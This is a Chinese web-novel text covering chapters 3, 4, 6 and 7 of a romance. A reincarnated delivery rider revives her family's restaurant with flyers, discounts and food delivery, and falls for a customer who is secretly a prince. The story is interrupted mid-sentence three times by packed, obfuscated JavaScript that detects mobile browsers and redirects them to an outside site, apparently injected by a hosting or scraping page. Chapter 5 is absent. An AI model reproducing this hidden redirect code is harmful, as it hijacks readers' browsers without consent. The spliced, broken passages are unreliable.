《王爷,您的外卖请签收》 3. 送餐 李银花高兴之余,却觉得奇怪,这一帮子人,怎么突然就来了?打哪儿寻过来的? 于铁甲笑着道:“今个你们酒楼不是散了一街坊的册子?还说是每吃满一百文减十五文呢,别不是我走错了吧?” 李银花啊了一声,这才想起来原委。今天早上青青跟自己说的原来就是这事! “娘,我打算在街坊附近散些传单,宣传一下咱们家铺子,到时候肯定会有人上门。就是……咱们可能得让些利给顾客,您看成吗?” 李银花那时一心顾着算账,只道没问题,现下才明白是女儿这发的纸册奏了效! 可她先前怎么没想到,还能这般揽客?虽说少了些利,却能招揽来客人,此后若是喜欢,便会有源源不断的回头客…… 她又高兴又惊讶,可眼下顾不得想东想西,只应声道:“是我们家!客官您好生坐着,饭马上就好!” “口水鸡来了——”门后,跑堂的伙计唱着菜名,将一道菜先送了上来,顿时一伙人顾不上玩笑,哄抢起来。 接二连三的招牌菜端上来,热腾腾的主食馒头也跟着揭了锅,香气四溢。然而这还不算完,这一桌铁匠铺的食客之后,又陆陆续续的有了新食客三三两两进来,叫着要上菜。 一家人顿时应接不暇,父子俩在后厨忙得团团转,连歇口气的功夫都没有。李银花也是紧赶慢赶,四处招待,这头结了账,那头还得送茶,又有人叫她过去点菜……忙得晕头转向。 虽说又忙又乱,却是心里比蜜都甜。出门在外做生意,忙总比闲了好。更何况,常记酒楼一个月以来,头回见到如此热闹的景象! “掌柜的,一共四百五十文,我放这了。” 给客人按照先前说的一百少十五的规矩抹了零,李银花眉开眼笑,又接过一贯钱,探头道:“客官您吃得好,下回还来啊!” 一直到过了午市最热闹的点,她才瞧见常青青擦着汗从门外踏了进来。 许是外头日头正盛,春日气候热了,她出门跑了这么一遭,脸颊红扑扑的,看着就叫人心生喜欢。 李银花仔细看了一眼,只觉得自家的孩子果真是眉清目秀,长相随了她,秀气生动,便是出了一脑门的汗,瞧着也比京城里那些世子千金要好看! 常青青自然不知道她这娘亲满脑子母爱滤镜,她随意抹了把脸,才踏进酒楼,便被难得的人声鼎沸给惊到了。 乍看见堂里这样多的食客,她愣了一下。再转头找了一圈才看见李银花在柜台前结账的身影,跟前排了不少人,一见便知道生意兴隆! 她忍不住嘴角微微的笑意,上前大着胆子问道:“娘!今儿生意怎么样?” * “叮铃铃——叮铃铃——” 街坊闹市上传来一阵清脆铜铃声,叮咚作响。随后而来的是一声急急忙忙的道歉:“抱歉诸位!劳烦让让,赶时间!” 有人好奇探头去望,只见到一个粗布衣裳打扮的女子戴着布帽,左右手各提着一个箱箧,又大又方,不知装着什么东西。 那女子模样不大,却把这两个箱箧提得稳稳当当,在人群中一溜烟就穿过去了,不多时竟瞧不见她的身影,只能听见她身上偶尔传来的铜铃作响声。 李老三今日进城采买,正在街头歇脚吃云吞,看到这女子腿脚麻利,风风火火地窜出去数十尺远。不禁看迷了眼,目瞪口呆,连勺里的云吞都忘了吃。 他怔道:“店家,那……那是什么新鲜东西?我怎么从前从没见过?” 卖云吞的老板抹了抹手上的面粉,笑着道:“一看你就不是这片儿的人!定是头一回见到常姑娘吧?” “常姑娘?”李老三没听过,下意识道,“是什么名人不成?” “那姑娘叫常青青,是附近常记酒楼常富家里的女儿。不知怎的,前阵子落了水,结果一醒来,把他们家的酒楼给风风火火地盘活了!” “怎么个事儿?” 云吞老板叫钱云春,说着说着满眼艳羡:“她家那酒楼原先都快关门了。结果这姑娘先是满街满巷地散了贴子,把酒楼的名声传的几个坊都知道了。” “这么厉害!”李老三暗自称奇。 “不止呢!她还搞出来个新店开业的法子,十五日内上她家吃饭都打折,吃一百文只收你八十五文。一下就把酒楼给盘活了,四邻八舍全都去尝鲜。嘿,结果人家家里现在就有了一大批回头客!” 这倒确实是个厉害角色,李老三听着竟生了好奇,甚至想去常记凑热闹看看。“可她刚才这是干嘛去?不帮家里的酒楼做工,去外面做什么?” 钱云春又是一哂,“这你就不知道了!常家的姑娘还有一招呢,说是给食客送餐上门,满一百文就起送!结果这一下,走街串巷地送餐食打出了名堂,现如今他们家生意可红火了。常富成天儿在我跟前显摆女儿能耐,哎!” 她唉声叹气,满心都想着如何也把云吞卖给几条街坊开外的食客。到那时打开了销路,不愁自己不赚得盆满钵满。 可惜自己这铺子上人手不足,没法腾出时间来跑腿,要不她也想送餐出去。再者她这云吞价低,本就十几文的餐食,送过去再收十文跑腿费,谁还会买? 现如今只有看着往日生意惨淡的常富笑呵呵挣钱的份儿,当真是又羡又气! 常青青专心致志地提着食盒向前跑,压根对自己引起的火热议论毫不知情。她看了一眼身上挂着的沙漏,心道不好。 这笔订单快要超时了! 常青青哀叹一声,认命地往前挪,好在这家宅子快到了,应该能赶在沙漏滴尽之前赶上。 她紧赶慢赶,总算在最后一束沙子落尽前叩响了这户人家的大门。 这间宅子看着便很是昂贵,院门虽不大,却极尽雅致,连题字都是泛着金的,一见便知里头的主人非富即贵。 她小心翼翼放下食盒,仔细检查了一番,确认过餐食都包得完整无损,没有撒漏,这才长出了一口气。 苦于没有交通工具,一路跑过来确实是不大方便,也正因如此,送餐便只能局限于一两千米之内,也就是两三里的距离。不然跑过去再远一些,饭都凉了。 不过即便如此,她也还是留着先前送餐时的习惯:出发前规划好路线,一趟就能多送几家的餐食。 先前她散了好几条街坊的传单,总算把常记酒楼的名声打了出去,靠着开业大酬宾,常记招揽了不少客人,在方圆几里之内都留了个好印象。 近十日来,靠着开业的招牌,每天净落的利润也有三四两银子。最近这活动结束了,每日来用餐的客人数量也稳定了下来,但也有二三两银子净入账,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496750|170228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样算下去,到了月底不仅能还上欠债,说不得还有盈余呢。 不过,堂食的人稳定了下来,接二连三的也便有人出于好奇点了外送的服务。 因为没有电话,所以只能靠原始的方式。有想点餐的人递一张帖子过来,说明时间、地点,便算是下单了,每次送餐的时候结账。或者是提前押了钱在她们账上,约好每日送一次便扣一次的钱,如此不够再补。 今天这位客人便是递了贴子过来的,还点的都是常记的招牌菜,林林总总一大食盒,这一箱子少说也有一两银子!常青青一路过来担惊受怕,生怕摔坏了,索性都还挺安全。 宅子里的人还不来开门,常青青便又叩了叩门,只听得门内有少年男声来应,“谁呀?” 常青青大声喊道:“客官,您先前点的常记酒楼的外送到了,请查收!” 门开了。里头出来一个十四五岁的仆从模样的男孩,模样讨喜,衣着精巧,看着气派极了。 他上下打量了下常青青,看到她手上提着的食盒,这才恍然大悟,目光闪烁着诡异的兴奋:“噢,你是来送餐的……我还是头一回见人来送食盒!” 常青青应声道:“是的,您看看这是先前点的单子,劳烦核对一下。” 那仆从才一一检查过餐盒,确认过饭食无恙,这才起了身。眼见她准备齐全,一时面露惊异,只道:“稍等,我进去问下王……我家公子。” 话说到一半,他费力地吞下去半截,嘴里的话嚼了半天才费劲接上个尾巴,然后接过食盒和清单便进去了。 门没掩实在,常青青远远瞥见里间出来一角蓝色衣袍,隐隐有年轻男子的声音低语几句。不多时,仆从走出来,递了她二两银子,笑眯眯道:“我家公子说没问题,这是饭钱,收下吧。” 二两?! 常青青惊了一跳,摆摆手道:“这顿饭也才一两二钱,您给多了!” 他兀自笑着:“收下吧,我们公子特地给的,说辛苦姑娘跑一趟。日后再点便不会这样多了。” !这是! 撞上大户人家了! 常青青瞪大眼睛,满眼都是白花花的银子,却仍吞了吞口水坚持道:“不不不,不能多收。我们做生意,怎么能多收您钱呢?要是喜欢,可以多来光顾我们家的酒楼。” 见她不收,仆从一时也无法,正待劝说的时候,门后却传来一阵脚步声。 常青青来不及反应,便看见一位身着蓝袍模样俊美的公子步了出来,语调温和带着笑意,垂首问道:“谷雨,怎么了?” 谷雨为难地看她一眼:“公子,她不愿收……” 像是才注意到她,那年轻男子便偏头过来,看了一眼常青青。 正对上眼,她才看清这位公子的长相。一双桃花眼似笑非笑,眼尾还坠了一点红痣,端的是俊美无双,摄人魂魄。形状分明的薄唇微勾,似乎天生带笑,修眉挺鼻,轮廓俊俏分明,比她前辈子见过的所有明星加起来都好看。 ……完了,这下完了。 常青青呆愣愣地感觉自己活了两辈子的心脏第二次砰砰直跳起来,面庞上也烧起热腾腾的火。 上一次跳得这么紧张还是她被卷进大卡车轮子底下的时候! 之前网上那话怎么说来着?她遇上自己的夸屎了[手动比心]。 4. 书生 年轻公子身量颀长挺拔,看着约莫二十,眼神含情动人,语气却带着些若有似无的冷意。轻飘飘冲她道:“姑娘还是收下吧。” “……好的好的。”常青青原本打定主意想拒绝,可被这绝世无双的美貌男子看了一眼,又温声劝了一句,脑内便剩下一坨浆糊,连人家说的什么也听不清,只知道愣愣点头。 见她答应,那公子也便转身回了门内,连带着仆从也朝她福了福身子,悄无声息地进了门。 直到那宅子的大门砰一声关上,常青青才回过神来,愣神看着自己手上的二两银子,好半天才反应过来怎么回事儿。 她……这是收到小费了? 不对不对,这个应该算是打赏……可是谁家打赏给这么多钱的?! 这不该自己拿的钱,总归是不太放心……常青青左思右想,打定主意下一回若是他还点餐,就不收多的钱了。 附近有人见她在这进宅子门前呆愣愣地干站着,一副心神不宁的模样,打趣道:“又一个被迷了魂的!” 常青青啊了一声,转过头去问,“您知道这宅子里住的是谁?” 她面前走过一个看起来面相和气打扮妥帖的妇人,似乎是路过这处,热心冲她八卦道: “这宅子前阵子才卖出去,里边搬来的公子姓王,叫王宣,据说是打南边来京城赶考的。这书生哪都好,就是模样太出挑,时常引得有姑娘家来这处偷看,就为了一睹他相貌呢!扰得我们这条街都热闹起来了。” 说着,妇人一脸含笑打趣:“我看姑娘你方才也看愣神了!” 可见这公子早已经不是头一回因为相貌惹出了姑娘们的爱慕,常青青也只不过是其中一个。 王宣?书生? 常青青不管旁人,她敏锐地捕捉到了这几个关键字,心下一盘算,很是高兴自己对那位公子了解多了一点。 王公子既是个书生,读书便要花三年五载来下功夫的。他看着还年轻,一定会花很多钱,也缺钱来用。等她生意做成了,就有钱供他读书,说不定到时候就能上门谈亲事……这样一想,她赚钱来他考学,两人岂非绝配?! 三两下间她脑子里已经想到了天际,下定决心一定得好好送外卖,把家里的酒楼扶持地越来越好,挣多多的钱,才能光明正大同他表白。 常青青越想越高兴,此时看那大娘愈发像自己命中的月老,顿时满心欢喜恭敬道:“谢谢大娘!” “我叫常青青,”她笑逐颜开,不忘给人家手里塞了一张自制的传单,“这是我家的酒楼,您得了空来尝尝味道。报我的名字,我家给您削价,一百文收您七十文!” 妇人好奇地接过那纸页,还没待细看,便只见这利落打扮的姑娘捂着脸,面上带着喜意,一溜烟跑走了。 “哎……这怎么就走了?!” 常青青一口气从王公子家的宅子跑回了常记酒楼在的南邻巷,步履不停,才一会儿就跑了过去,足比去的路程快了一倍。 她满心都是排解不出去的砰砰直跳的激动心情,恨不得向天高呼三声!可又真怕被人当作得了疯病,于是只好拼命跑起来,把多余的冲动化作汗水。 直到一口气掠过巷口的云吞铺子,她头也不回问了声招呼:“钱大娘好!” 没等对方回话,便飞也似的奔回去了,只留下一阵扬起来的飞土。 “哎——” 还想着跟她商量着送餐,钱云春猛一抬头却只看见一个背影:“……” 这孩子,赶路那么着急? 进了酒楼门,常青青险些迎面撞上几个食客,又匆匆忙忙同跑堂的伙计打了招呼,将方才送餐收来的二两多银子丢给李银花,一口气跑回了楼上。 李银花才送走几位客人,尚在算账,见着女儿回来,还没来得及问她今日送餐的情况如何,便被她放在柜前的银子给惊了一大跳。 “活神仙!今儿是怎么了?收了这些?!” 可常青青早跑得没影了,只留下一个背影在二楼走廊处,冲她娘喊道:“多的都是别人给的跑腿费!娘收好吧!” 说到“别人”,常青青又想起那人的相貌,顿时脸孔上都蒸腾起了一阵挥之不去的热。 好在她回了屋,索性一头扎进榻上,头埋进被子里做鹌鹑状。可满脑子都是那位王公子冲她笑的模样,温声劝她的模样…… 常青青泥鳅似的在床上拱来拱去,一会儿呲着大牙乐呵,一会儿又又愁自己今天表现太呆太愣,没留下什么好印象。打了半天滚,头发都被蹭得乱七八糟。 闹腾了许久,她总算觉得累了,死鱼状躺在床上,看着屋顶的木梁呆呆发愣。 这种甜蜜的感觉……原来就是喜欢吗? 难怪大家都喜欢处对象! 从前她上学的时候,班里就有一对对的小情侣。男男女女凑在一起,拉拉小手一块吃饭,上下学也一起走,还老在一起打情骂俏。 她那时候不明白为啥要处对象,上学的时候老师都说要好好学习,不能分心谈恋爱。她也就听话照做,从来没跟小男生牵过手。 可后来爷爷奶奶相继过世,再没人供她读书,家里的地也被别人占去了,她就只好从高中辍学,学着养活自己。 镇里头没什么活能做,别人都说大城市好挣钱。常青青卷着铺盖坐了两天一夜的火车,摇到了大城市。 大城市车水马龙特别繁华,可干啥都贵。她家镇上吃一碗面七八块钱,到了大城市,随便吃个饼子就得十几块!更不用说动辄三五十块钱的面了,哪是她能吃得起的? 本来想着找份工作干,可她高中念到一半就辍学,最多是个初中文凭,压根没人收。大城市连摇奶茶都要专科! 常青青靠着自己手里攥着的一千块钱活了几天,险些过不下去。还是靠旅馆里的人介绍才晓得能去送外卖养活自己。 她顿时觉得有戏。不就是跑一跑路吗?她别的不行,腿脚挺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496751|170228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好。 匆忙注册了外卖平台,她成了一名光荣骑手,每天骑着借来的小电驴跑上跑下。头一个月因为不熟悉流程,送餐老洒,还经常迷路,又容易超时,被扣了不少工钱。 可到了月底,她看着自己手里的工资条,顿时觉得一个月以来的努力都有了回报。 足足四千五百三十七块八! 这是她从前想都不敢想的。这些钱,爷爷奶奶种一年的地都赚不到! 拿到第一笔工资后,常青青当即给自己买了一个小电驴。从此就正式在大城市里扎根了,一跑就是两三年,给自己换了好点的住处,攒了不少钱,还去给爷爷奶奶上了坟,甚至还当上了骑手团片区的小队长。 从前上学的时候被老师管着,她不敢谈恋爱。可工作之后虽说也算是事业小有成就,可她每天累得半死,压根没什么心思搞那些七七八八的。 结果就是活到快二十,头一遭见着这么个人,头一遭觉出心里头小鹿砰砰乱撞的感觉。 常青青唉声叹气,难怪老师说谈恋爱容易分心,她现在算是知道了。满脑子都装着一个人,能不分心吗! 她把被褥团吧团吧捏成一个大球,将脑袋哐哐哐往上撞。撞到一半,听见门外传来李银花远远一声招呼,将她从虐待自己的脑门的活动里拽了出来: “青青!你怎么了?我怎么听见有东西响?” 常青青顿时缩起脑袋,不敢再发出大动静。她讷讷道:“没……没事!我在拍被褥呢。” “我都忘了,你那被褥也好久了,”李银花喊道,“赶明儿找个太阳大的时候咱们拆开晒晒拍拍!对了,这会子你要是没什么事,咱家盐快用没了,你去给咱们买些回来。” 常青青探出了头,看见酒楼一层人满为患。这会正是饭点,一桌接一桌的食客赶了来,有些是图这段时间的折扣,有些是确实喜欢常记的口味,有的就是来凑热闹。 这阵子酒楼客人多,先前备着的食材很快便见了底,尤其是盐,十来天便用空了两斗。眼见着最后一些快没了,再不临时补点,估计到了晚上就没得卖了。只好让常青青先去买些应急,再让常父明日去采买些。 李银花在楼下忙的脚不沾地,只能跟她远远叮嘱:“盐铺在东临巷子口,买两斗的,钱你自己拿!” “哎!就来!” 常青青应了一声,下了榻,没着急冲出去,先冲着屋里的镜子理了理头发。 面前的镜子看着有些花,照不大清楚,却也能依稀看清楚模样。镜子里一张秀气的脸,眼睛又大又圆,瞳仁黑亮亮,肤色白里透红,看着便很是惹人喜欢。 好巧不巧,这张脸竟和她前世的模样有七八分像。 常青青梳着散开的头发,仔细端详着镜子里的自己,越看越心惊,恍惚间竟觉得自己已经和这个世界融为了一体。 直到李银花又唤了一声,她才惊醒过来,急急将木梳丢在一旁,高声应道:“来了来了!” 6. 清债 从来没处理过这样的场面,常青青一时有些手足无措。只恨不得让自己再送几单外卖,也好过处理别人的眼泪。 常青青硬着头皮道:“娘,您别哭了。女儿不觉得委屈……” 话说到一半,劝阻的作用没起到,李银花更是哭得肝肠寸断,和常富搂在一起成了泪人。常洪洪更是扭扭捏捏,揪着自己的衣襟用来擦眼泪。 常青青:“……” 见自己说的话半点用都没有,反倒像是火上浇油。常青青左思右想,只得道:“真的,女儿不觉得委屈。我就喜欢送外卖,将餐食交给食客手上的感觉。” 或许是她语气太坚定,引得李银花起了疑:“真的?” 常青青猛猛点头。 真的!比真金还真! 要不是出于这一点喜欢,怎么可能在前世送三年外卖?骑着小电驴穿梭在城市里和街坊里的感觉,让她觉得自由。 她从前就只做这一件事,而且做得不错。在这里,做常青青,她也想把这件事做好。 李银花看着女儿这样坚定的眼神,又眼睛一红,险些落了泪。“你要是喜欢,娘也不拦你。但就一件事,咱家无论如何都是你的靠山。你可一定要事事顾好自己,别为了做什么累着身体,千万别再出闪失,不然是要我的命!” 常青青举起手道:“一定!” 常富转过头来,瓮声瓮气道:“青青,你娘说的是。要我说,这送外食的主意虽然好,可咱家酒楼现如今名声也打出去了。不必你非风里来雨里去的忙,依我看,便是不做这项活,也少不了食客。你若想做,不如咱们再招些伙计,和你分着来送,这样也轻松些。” 常青青知晓娘亲她们是心疼自己,说这些也是真为自己好,心里熨贴得很。可她实在不是不能吃苦的人,有先前每天没日没夜的爬楼梯的经验,这些日子的外卖工作对她来说只是小菜一碟。 可她也不知该如何说,只应声道:“娘,爹,你们放心,我心里有数。不会委屈自己。就是有一个期望,招伙计这事儿,能交给我做主吗?” “这有什么不行的?全凭你心意来!”常富忙道。 李银花见她定了主意,也不再劝,只道:“既如此,你若想要什么,跟娘说。不管是金银首饰还是新衣裳,咱都给你买。这些日子以来辛苦这么久,必须得给咱们青青置办些新东西!” 常洪洪委屈道:“娘,那我呢?” 李银花知道他就是嘴里闲得慌,上来凑热闹,又道:“你五大三粗的,要什么去问你爹!” 常洪洪得了训,却只傻呵呵乐着。 得了先前常富的肯定,常青青放下了心,对自己心里定下的外卖计划又有了点想法。她想了半天,眼睛亮了起来:“娘,我还真想要一个东西。” 李银花喜道:“你尽管说!” 常青青道:“不过我还得再琢磨一下,回头想定主意再跟娘商量,咱们先吃菜吧?仔细菜凉了。” 常富招呼着:“青青说得对,先快些吃菜,别在饭桌上哭哭啼啼,好菜都凉了!” 李银花瞪他一眼,却没戳穿他先前自己偷偷转过身去抹眼泪的模样。 一家人热热闹闹坐在一起边吃边闲谈,说着近日发生的趣事,明日的计划,之后待开发的新菜色,吵嚷间俱是寻常人家的兴味。 常青青左手边是李银花,右手边是常洪洪,面前的碗里堆满了被夹来的菜。她嘴角微微翘起,将食物抄进嘴里,用力大口地咀嚼着。眼里竟莫名薰上了一些热气。 饭真好吃! * 翌日一早,常父就揣着二十两银子找上了放高利钱的铺子,连本带利结清了欠债。 至此,常记酒楼的悬在头上的忧心困顿总算是结了,一家人从今往后便只用想着该如何更好地经营酒楼。 现如今她家酒楼每日晌午会有两三个单子,到了晚上又会有几个单子。大都是专门差人来递帖子,点名了要吃什么的。 “掌柜的,一道烧豆腐,一份八宝饭,一道蟹酿橙,清蒸鱼和例汤。午时三刻送到北阖巷东三里宅上。价钱多少?我先将账结给你。” 这日酒楼才开张不多久,便有人登门来递点菜。常青青一一记了,才要去应,却总觉得这地址面熟,这才后知后觉意识到这地址便是先前那位王公子的宅邸! 她顿时抬起头去看,来人是个同她年纪差不多大的姑娘,一身绿衣,模样清秀可人。不是前日出门来迎的仆从,却也瞧着面善,她便问:“是王公子府上吗?” 姑娘惊讶道:“你怎么知道?……噢,也是。我家公子前日才点了你家的外食。” 常青青道:“难为您还记得!有什么忌口不成?” 姑娘道:“少些辣。我家公子不喜味太重。” 常青青原先正要将单子递了进去,听见这一声,忍不住笑了出声。 “怎的?笑什么?” 王公子点的菜里有烧豆腐,其实就是麻婆豆腐,是重辣重盐的菜,却还要做得清淡。常青青抿起嘴角:“无事,只是觉得难得一见到吃辣菜却要少辣的。” 姑娘撇了撇嘴,没搭茬,自来熟道:“哎,我看你跟我年纪相差不大。我今年十五了,叫小满,你呢?” 常青青忙得团团转,却也对小满的自来熟很是受用,她理好订餐的单子道:“我叫常青青,今年十六了。” 说罢,她麻利地将单子写好,交由伙计递进后厨。 “那你比我大一岁了。”小满碎碎念着,见她将一张薄纸送了进去,又好奇起来:“你们这是怎么做的?” 常青青道:“姑娘如果觉得好奇,我待会儿细细讲给你听。就是这会子不太得空,可能得等一等。” “小满!”小满又申明了自己的名字一遍,眼睛滴溜溜转了一圈,“之前没见过别家送餐上门的,都是要我过去取才行……你先忙!反正我这会子溜空出来,公子也不着急找我。” 待到常青青忙完了手上的事情,她才寻了个地方坐下来,一边等着常洪洪出菜,一边和小满在一旁闲聊起来,一一将常记如今的经营模式讲给小满听。 小满瞪大了眼睛称赞道:“真是不可思议!这样可累得很!难怪你家能挣到钱……换了旁人恐怕没这心里挨家挨户去送餐上门。” 常青青笑了笑,语气中不免带上了些自得:“这些不算什么。我之后还有些别的想法呢!” “什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496753|170228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么想法?” “我打算……” “炒饭出锅了!” 话说到一半,后厨里便传来一声吆喝,常青青便知是餐已经好了,立即弹射起身,过去准备帮人上菜,店里人手不大够用,有时她也会帮忙。 见她此刻忙得团团转,小满便告了辞,约定之后得了空再聊。 今日晌午的餐食只有两单,先前已经嘱咐伙计送出去了一份,这一份便由她待会儿亲自送去王公子府上。 当然,先前那份交给伙计送,她也是存了私心。毕竟,若非如此,怎能等到他今日下的单呢? 她满心都是即将要见到昨日那位公子的喜悦,甚至难得的出门之前都有些焦躁,对着镜子梳了好几回头。直看得李银花打趣起来,“今儿这是怎么了?照镜几回,这是有心事了?” “……娘!”常青青被臊得脸颊微红,转身就跑,“……我出去送餐了!” 李银花:“……哎!”她明明还什么都没说呢? 没多久,常青青又折返回去,揣上食盒拔腿就跑。 拎着食盒走在路上,常青青满面的热意才降了点儿下去。她摸了摸自己的脸,嘀咕道:“有这么明显吗?” 前日已走过这一条路,不说驾轻就熟,却也多少记得。不多时,她便已拐进巷口,又见到那进颇显华贵的宅子。 常青青舒了口气,上前叩门,照例大声喊道:“您的外送到了,请签收!” 得了先前的经验,宅子里很快来了人,果然是那日的谷雨,一见是她,笑了起来:“我就知道又是你!你喊的声音那么大,隔着门老远就听见了。” 常青青腼腆地笑了一下,却下意识往他身后瞟,这眼神被古灵精怪的谷雨捕捉到了,猜想是她好奇自家那位,便道:“怎么?姑娘在瞧什么呢?” 常青青忙摇头,她可不想被人当成是偷窥私宅的变态:“没有没有。就是……想问上回公子的评价如何,咱家的菜品有哪些吃不惯的需要改进的,都可以跟我讲。” 谷雨噢了一声,接过食盒交予下人递了进去,又将上次的食盒交还给常青青,旋即打开了话匣子。 “我们王——公子上回尝了你家的菜品,难得夸了一句,还说肘子炖的软烂入味,温度也正好,送来的时候菜食都泛着热气呢。” 那当然,她可是一路紧赶慢赶的呢!常青青内心暗自得意,脸上却把那丝自得藏的严严实实,只道:“客官喜欢便好!下回若还有什么建议,都可一并同我说。” 谷雨左右看了圈,见四下无人,却凑近她低声道:“倒真有一事!你家的菜下回做的时候,记着莫要放香荽……这事不许声张出去,只你自己知道就行了。”话毕,他匆忙退了后,仿若无事发生。 啊?香虽?那是什么?咱家有这东西吗? 常青青从没听过,云里雾里,然而做服务业不能不满足客户的需求。她不管三七二十一先应了下来:“没问题!之后我一定记着不放!” 她头点得跟棒槌一样,却被宅内突然传出来的声音给吓了一跳。 “谷雨。” 门内的声音朗然温雅,语气里却藏着极重的威压,叫人没由来的听了便起寒战。 7. 罚俸 谷雨顿时惊得头皮发麻,一出溜跪了下去,冲着门内讨饶:“王……公子恕罪!小的什么也没说……” 他额头上的汗珠豆大一样,涔涔滚落下来,却顾不得擦,只老老实实跪在地上冲门里说话。 常青青暗自咋舌:“怎么动不动就磕头跪拜的……这古代人就是比较封建哈?”但是谷雨怎么每次都喊王公子?看着倒像是不怎么熟悉的模样。 她挠了挠头,想见到王公子的心情被这诡异的氛围给压了下去,莫名有些怵得慌,索性一手拎起空食盒准备溜回家。 正待离去时,宅门却突然敞开!常青青瞪大眼睛,一时有些不知所措。 果然,惊鸿一瞥之下引得她魂牵梦绕了两晚的王公子走了出来,束着发冠一袭玄衣,愈发衬得他丰神俊秀。 他神情淡然,并不看常青青,只偏头闲闲吩咐道:“罢了,你先回去。” 谷雨忙应了声,逃也似的领命去了。 于是只留常青青在门口,和王公子大眼瞪小眼。但她是不敢直接看的,最多只敢在刚刚他侧头冲谷雨说话的时候悄悄打量一眼,然后飞快地低下头,生怕唐突了他,如此反复。 “……” 周珩看了常青青一眼,眉尾微抽,硬生生压下去了一种拂袖而去的冲动。 他化名做王宣在北阖巷已有数十天,此次隐姓埋名扮作寻常书生以免打草惊蛇,全是因奉皇兄之命来京城西南角处调查盐案官司。 从前做了二十年天潢贵胄龙子龙孙,平日里从来没人敢这般唐突地打量他,然而扮作寻常百姓后却招来了许多目光。 这段时日里他有时出门探访,对这种眼神再熟悉不过。寻常姑娘也会这样看他,但大多都只远远地看一眼便掩着帕子离去。而眼前的这位,虽有羞怯躲闪之意,却更多是一种莽撞的大胆,时不时抬眼打量自己一番,眼神还格外黑亮……像是要把他盯穿一样。 因此,这副伪装的不算出色的娇羞姿态实在教人难以忽视。 面前的女子盯着自己的眼神实在太过直白,周珩已经有些不耐:“姑娘在看什么?” 问这话时,周珩唇畔天生带着三分笑,眼里却满是冷意。旁人看了只会觉得有些胆寒,不敢再同他多相处。若是谷雨等人在此,便知晓这是他动怒的征兆。 可常青青半分言外之意也读不出来,只觉得这王公子温润如玉,沁人心脾,沉浸在他的问话里,愣神答道:“看——你好看。” “你——”长到今岁,他从未见过如此胆大直白不知羞耻的女子。周珩被震得一时无话可说,半晌才道:“……你叫什么?” “我叫常青青,常记酒楼的。”常青青自知刚才失言,正想找补却更怕说多错多。见周珩寻了别的话题,忙补救道:“今日来不仅是为了送餐。还想问问公子可有什么对我家酒楼的餐食的提议或是不满的,都可一并提出!” 常青青? 周珩顿了顿,将这个名字在心里过了一遍,不动声色道:“没什么不满。” 他顿了顿,又勾起唇角补了一句:“常记是吗?你家的味道不错,外送也有趣,有劳姑娘。” 常青青被他含笑的一句好评给哄得飘飘然,当即晕头转向,连周珩什么时候关上宅门离去了都不知道,只自顾自的沉浸这句话里。 王公子夸她了! 说她外卖送得又快又好……还说辛苦她了! 天呐!常青青简直不敢想。自己才送外卖第二回,就能和心上人见两面,还得了他的夸奖。日后若是再多送几回,这不就即将两情相悦了吗?难不成……再过几个月就要同爹娘她们提亲了? 不行不行,这样进度太快了。她猛地摇摇头,总算清醒了一点,还得循序渐进! 这样吧,下回,下回再有交集,她就问问王公子喜欢什么。 前些天听她家巷子口附近的槐阳说,互相看对眼的小情侣,女的都会给男的缝荷包,男的也喜欢收这东西,交换过之后,便算作互表心意了。 她虽然不会缝荷包,但多多少少给自己补过旧衣服,想来应该也差不了太多。况且若是为了王公子,她愿意学! 常青青满脑子都是荷包上绣的花样,打定主意回去开始学缝荷包绣香囊,时不时又想起王公子俊秀无双的脸与一双多情的桃花眼。回去的一路上都是飘着的。 * 周珩迈过前院,才走了几步,便撞见谷雨弓着腰来向自己请罪。 “王爷,奴才有罪,先前一时得意忘形,这才……” 周珩扫他一眼,只淡淡道,“在王府待惯了。出来几日便忘了自己的身份了?下去领罚。” 谷雨汗如雨下,连连谢恩:“谢王爷!” 但他才走出去,又想起什么,折返回来:“王爷,常记的人送来的膳食,您可要尝尝?昨日见您动了筷子,奴才揣度着之后或许合您胃口,想着之后都会常订他家的膳食。这才……” 听见常记两个字,他下意识地想起刚才那双偷看他的胆大包天的眼睛,同前日一样,眼神里只看得见对他的——恋慕?情意?……荒唐。 周珩面色不虞,冷声道:“扔了。” 说罢,他大步掠过,“之后少自作主张。” 便是以后都不用的意思了。 谷雨被训了一顿,一点声都不敢出,直到主子的身影进了主院,这才略略直起腰,苦着脸端起食盒向后厨走去。 正巧撞见从后厨端着茶点要往王爷院内去的小满,见他满脸菜色,小满疑道:“怎么了这是?” 谷雨哀嚎一声:“好姐姐,我可真是闯了大祸了……” 于是便如此这般那般地跟她讲了一番自己做过的差事。 